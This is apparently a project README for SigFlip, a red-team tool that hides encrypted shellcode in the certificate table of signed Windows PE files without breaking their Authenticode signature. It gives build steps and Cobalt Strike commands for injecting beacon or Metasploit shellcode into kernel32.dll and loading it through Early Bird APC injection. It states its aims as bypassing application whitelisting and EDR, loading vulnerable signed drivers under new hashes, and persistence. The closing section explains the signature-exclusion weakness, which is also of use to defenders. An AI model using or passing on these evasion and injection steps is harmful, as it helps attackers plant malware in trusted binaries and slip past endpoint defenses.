SigFlip

What is it ?

SigFlip is a tool for patching authenticode signed PE files (exe, dll, sys ..etc) in a way that doesn't affect or break the existing authenticode signature, in other words you can change PE file checksum/hash by embedding data (i.e shellcode) without breaking the file signature, integrity checks or PE file functionality.

SigInject encrypts and injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, the encryption key is printed out for usage with a basic BOF/C/C# loader (SigLoader), SigInject saves changes to a modified PE file and keeps its signature and certificate validity intact.

SigLoader is a basic loader which takes a modified PE file path created by SigInject and the decryption key as parameters, then extract and decrypt embedded shellcode for usage with a shellcode injection of choice.

SigFlip will check if PE hash was successfully changed and also check and exit gracefully in case endpoints are hardened against such common misconfiguration. (check "Details" section).

Quick Note: SigFlip, SigInject and SigLoader are available as BOF scripts and .NET assemblies, the only difference is that SigInject functionality is implemented as part of SigFlip (-i) in case if you choose to use .NET artifacts instead of BOFs.

Why ?

It can be used mainly for persistence, lateral movement or code/command execution and can help with:

• Application whitelisting bypasses, changing the PE file hash (msbuild.exe for ex) without breaking the signature.
• Bypassing EDRs relying on specific LOLBINs' hashes for malicious code/command execution detection.
• Load signed drivers using a different hash, might help circumvent any EDRs watching for common vulnerable signed drivers using a pre-defined list of hashes.
• Embed encrypted shellcode in a signed PE file and use a stager (sigloader) of your preference to parse, decrypt, load and execute it.
• Endpoint security vendors tend to classify signed PE files as benign most of the time, embedding your unsigned code (shellcode ..etc.) in a signed PE file makes it a little bit hard to detect/flag.
• Bypassing endpoint security vendors relying mainly on the default WinVerifyTrust for signature validation.
• Improving OPSEC and challenging defenders relying solely on typical signature verification utilities such as signtool, sigcheck, Get-AuthenticodeSignature ..etc to validate the authenticoode signature of PE files.

Usage & Examples:

Compile/Build:

Precompiled BOF's are not provided in this project, can be compiled using Mingw-w64, for .NET use VS or csc.exe to compile .NET projects (SigFlip, SigLoader), for BOF check steps below;

• ➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o
• ➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o
• ➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o
• ➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.o

Make sure all object files are located in the same directory as sigflip.cna, then load sigflip.cna script to cobalt strike.

Quick Note: pre-compiled BOFs were tested and compatible with mingw-64 v8.0.0_3, using mingw-64 >= v9 might work but might crash active beacons, check https://github.com/med0x2e/SigFlip/issues/2 for more details.

Cobalt Strike:

1. Execute-Assembly

   • execute-assembly SigFlip.exe -h
   • execute-assembly SigLoader -h

2. BOF

   • For usage with cobalt strike, once you load the SigFlip.cna script, two new commands will be registered; SigFlip and SigInject, then use as below;

     • SigFlip: Change a PE file (DLL, EXE, SYS, OCX ..etc) hash without breaking the signature or the validity of the certificate:

       • SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"

     • SigInject: Encrypts and Injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, encryption key is printed out for usage with a basic C/C# loader plus keeps the signature and certificate validity intact:

       • SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"

     • SigLoader: Loads encrypted shellcode from PE files created by SigInject, then use Early Bird queueuserapc to spawn/inject sc into a sacrificial process, shellcode injection logic can be customized or replaced with any other code injection technique of choice:

       • SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>

3. Examples

   • BOF:

     • Inject random data to msbuild.exe (aka bit flip msbuild.exe):
       • SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"
     • Inject shellcode to kernel32.dll (Arguments order is different & make sure to take note of the decryption key):
       • SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"
       • Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300

   • Execute-Assembly:

     • Inject random data to msbuild.exe:
       • execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe
     • Inject shellcode to kernel32.dll (Arguments order is different & make sure to take note of the decryption key):
       • execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey
       • execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354

---

Details:

This is a known technique used by APT#10 in multiple campaigns or intrusion sets.

Authenticode Digital Signatures ?

Authenticode is a Microsoft code-signing technology that identifies the publisher of Authenticode-signed software. Authenticode also verifies that the software has not been tampered with since it was signed and published.

How does it work ?

Microsoft relies mainly on Authenticode signing format for verifying the integrity and the origin of PE binaries, according to the Authenticode Portable Executable format specification the Authenticode signatures can be “embedded” in a Windows PE file, in a location specified by the Certificate Table entry in Optional Header Data Directories. When Authenticode is used to sign a Windows PE file, the algorithm that calculates the file’s Authenticode hash value excludes certain PE fields. When embedding the signature in the file, the signing process can modify these fields without affecting the file’s hash value. These fields are as follows: **the checksum, certificate table RVA, certificate table size and the attribute certificate table. The attribute certificate table contains a PKCS #7 SignedData structure containing the PE file’s hash value, a signature created by the software publisher’s private key, and the X.509 v3 certificates that bind the software publisher’s signing key to a legal entity.

In layman's terms, we can modify or embed data into fields execulded from the authenticode hash calculation without worrying about breaking the authenticode signature and file integrity checks.

More details about such excluded fields:

• Certificate table RVA and Size: A signed PE file optional header structure contains an array of data directories including the security directory IMAGE_DIRECTORY_ENTRY_SECURITY entry which has two fields, RVA and Size.
  • RVA: a file offset (not a memory offset) to the attribute certificate table.
  • Size: attribute certificate table size.